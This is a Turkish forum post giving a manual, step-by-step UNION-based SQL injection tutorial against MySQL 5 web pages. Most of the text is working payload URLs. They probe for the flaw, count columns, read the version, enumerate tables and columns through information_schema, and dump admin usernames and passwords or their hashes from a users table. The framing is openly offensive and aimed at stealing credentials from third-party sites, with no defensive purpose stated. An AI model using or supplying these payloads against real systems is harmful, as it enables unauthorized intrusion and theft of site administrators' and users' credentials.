Manuel SQL injection anlatim (1 Viewer)

Joined
Jul 7, 2018
Credits
0
Rating - 0%
View hidden content is available for registered users!
mysql injection version4: sistemlerindeki bir sql ınjection acıgıdır.bilgiler access’de olduğu gibi deneme yanılma yöntemleriyle bulunur.
Ben bu konuda mysql injection version 5 ten bahsedeceğim.
Bir sitede mysql açığı olabilmesi için o sitenin şu şekilde olması gerekir.

htpp://site.com/page.php?id=10

ve bu sitede sql injection hatası olup olmadığını anlamak için şu komut kullanılır.

http://site.com/page.php?id=10′a yani site sonuna hassas karakter olan (‘) bu karakter kullanılır.
bunu yaptıktan sonra önünüze söyle bir hata;

Warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near ”a’ at line 1 in /home/fergus/public_html/clases/ezsql/mysql/ez_sql_mysql.php on line 204

çıktığı takdirde sitede mysql acıgı mevcuttur.

Daha sonra order by komutuyla kolon sayımızı belirliyoruz diyelim ki kolon sayımız 10;

http://site.com/page.php?id=10+order by+2 >>> bunu yapınca normal sayfa cıkıyor…
htpp://site.com/page.php?id=10+order by+8 >>> bunu yapınca da normal sayfa cıkıyorsa yükselterek devam ediyoruz…
htpp://site.com/page.php?id=10+order by+15 >>> bunu yapınca da su hatayı alıyoruz ;

Warning: Unknown column ‘15′ in ‘order clause’ in /home/fergus/public_html/clases/ezsql/mysql/ez_sql_mysql.php on line 204

demek ki neymiş kolon sayımız 8 ile 15 arasındaymış…evet devam edelim…
http://site.com/page.php?id=10+order by+10 >>> bunu yapınca da normal sayfa cıkıyor yani aralığımız 10-15 arasına düşüyor.
http://site.com/page.php?id=10+order by+11 >>> bunu yapınca hata alıyoruz;

Warning: Unknown column ‘11′ in ‘order clause’

burdan da anlaşıldığı üzre 10 ve aşağısında normal sayfa ve 10 un yukarısında hata veriyor ise kolon sayımız 10′dur.

Şimdi geldi sıra belirleyici sayımızı öğrenmeye o sayı bizim cok işimize yarayacak cünkü onun sayesinde herşeyi öğreneceğiz.
simdi su sekilde devam ediyoruz;

http://site.com/page.php?id=-10+union+select+1,2,3,4,5,6,7,8,9,10–veya 0′dan başlayarak şu sekilde de olabilir;http://site.com/page.php?id=-10+union+select+0,1,2,3,4,5,6,7,8,9– önemli olan
kaça kadar olduğu değil kaç tane olduğu 0′dan 9′a kadar da 10 sayı vardır 1′den 10′a kadar da 10 sayı vardır mantığı
icon_biggrin.gif


bunu yaptıgımızda diyelim ki belirleyici sayımız 3 çıksın önümüze yansır zaten 3 kalın olarak önünüze başka sayılar da
yansıyabilir fakat bu sizi aldatmasın en kalın olanı
icon_biggrin.gif
belirleyicidir yanıldınız diyelim zaten en fazla 3 tane cıkar :d birinden
biri mutlaka size yarayacaktır versiyonu yansıtırken.
versiyon demişken sıra geldi versiyonu yansıtmaya simdi en can alıcı nokta burası versiyon 4 mü versiyon 5 mi biz 5′i anlattığımız için 5 tabiki
icon_smile.gif


http://site.com/page.php?id=10+union+select+1,2,version(),4,5,6,7, 8,9,10–

evet simdi belirleyici sayımız 3′tü url de 3 yerine @@version veya version() bunlardan birisini koyduğunuzda versiyon önünüze yansır.
5…. veya 4…. bunlardan 5 ile başlayanı 5.,4 ile başlayanı 4. versiyondur.
Şimdi versiyonu da öğrendik versiyon 5.şimdi sıra geldi tabloları yansıtmaya söyle devam ediyoruz…

http://site.com/page.php?id=10+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tabl es–
veya
http://site.com/page.php?id=10+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema=databese()

bunu yaparsanız tavsiyem ikincisidir cünkü işe yarayanlar ikincisiyle yansır.Büyük harfli olanlar işe yaramazdır genelde….

rs_agree,rs_gold,rs_items,rs_items_price,rs_news,r s_order,rs_promotion,rs_ratio,rs_users diyelim ki tablo adları bunlar burdan işe yarayanı az cok
tahmin edebilirsiniz sizde işe yarayan rs_users tablosudur buradan kolon adlarını cekicez.
simdi de su kodla devam edelim;

http://site.com/page.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10+from+information_schema.columns+where+ta ble_name=CHAR(rs_users)

bakın bunu yapınca ne olucak
icon_biggrin.gif
tabi ki hata alıcaksınız neden ??? cünkü rs_users tablosunu ASCII karakterlere yani numeric karakterlere cevirmedik
peki nasıl çeviricez bunun için cok kullanıslı ve ufak programlar var vericem konu altında biz cevirdik kabul edip söyle devam ediyoruz;

http://site.com/page.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10+from+information_schema.columns+where+ta ble_name=CHAR(114,115,95,117,115,101,114,115)

evet bunu yaptıgımızda bakalım önümüze yansıyan kolon adlarına ;

ID,USER,PWD,DATE >>> bunlardan hangisi yarar bizim işimize tabiki USER ve PWD (password) evet
aralarına 0×3a yani “:” iki nokta üst üste koyuyoruz sakın “:” bunu koymaya kalkmayın bunun cevrilmiş hali yani
“0×3a” bunu koyuyoruz ve devam ediyoruz su kodla ;

http://site.com/page.php?id=-10+union+select+1,2,group_concat(USER,0×3a,PWD),4, 5,6,7,8,9,10+from+rs_users–
http://site.com/page.php?id=-10+union+select+1,2,group_concat(USER,0×3a,PWD),4, 5,6,7,8,9,10+from+where+id=1–

evet bunlardan birisini yaptıgımızda önümüze admin’in kullanıcı adı ve şifresi gelicektir.Şifresi gelmese de md5 gelicektir.


Kolay Gelsin
//ALINTIDIR
 

Users who are viewing this thread

Top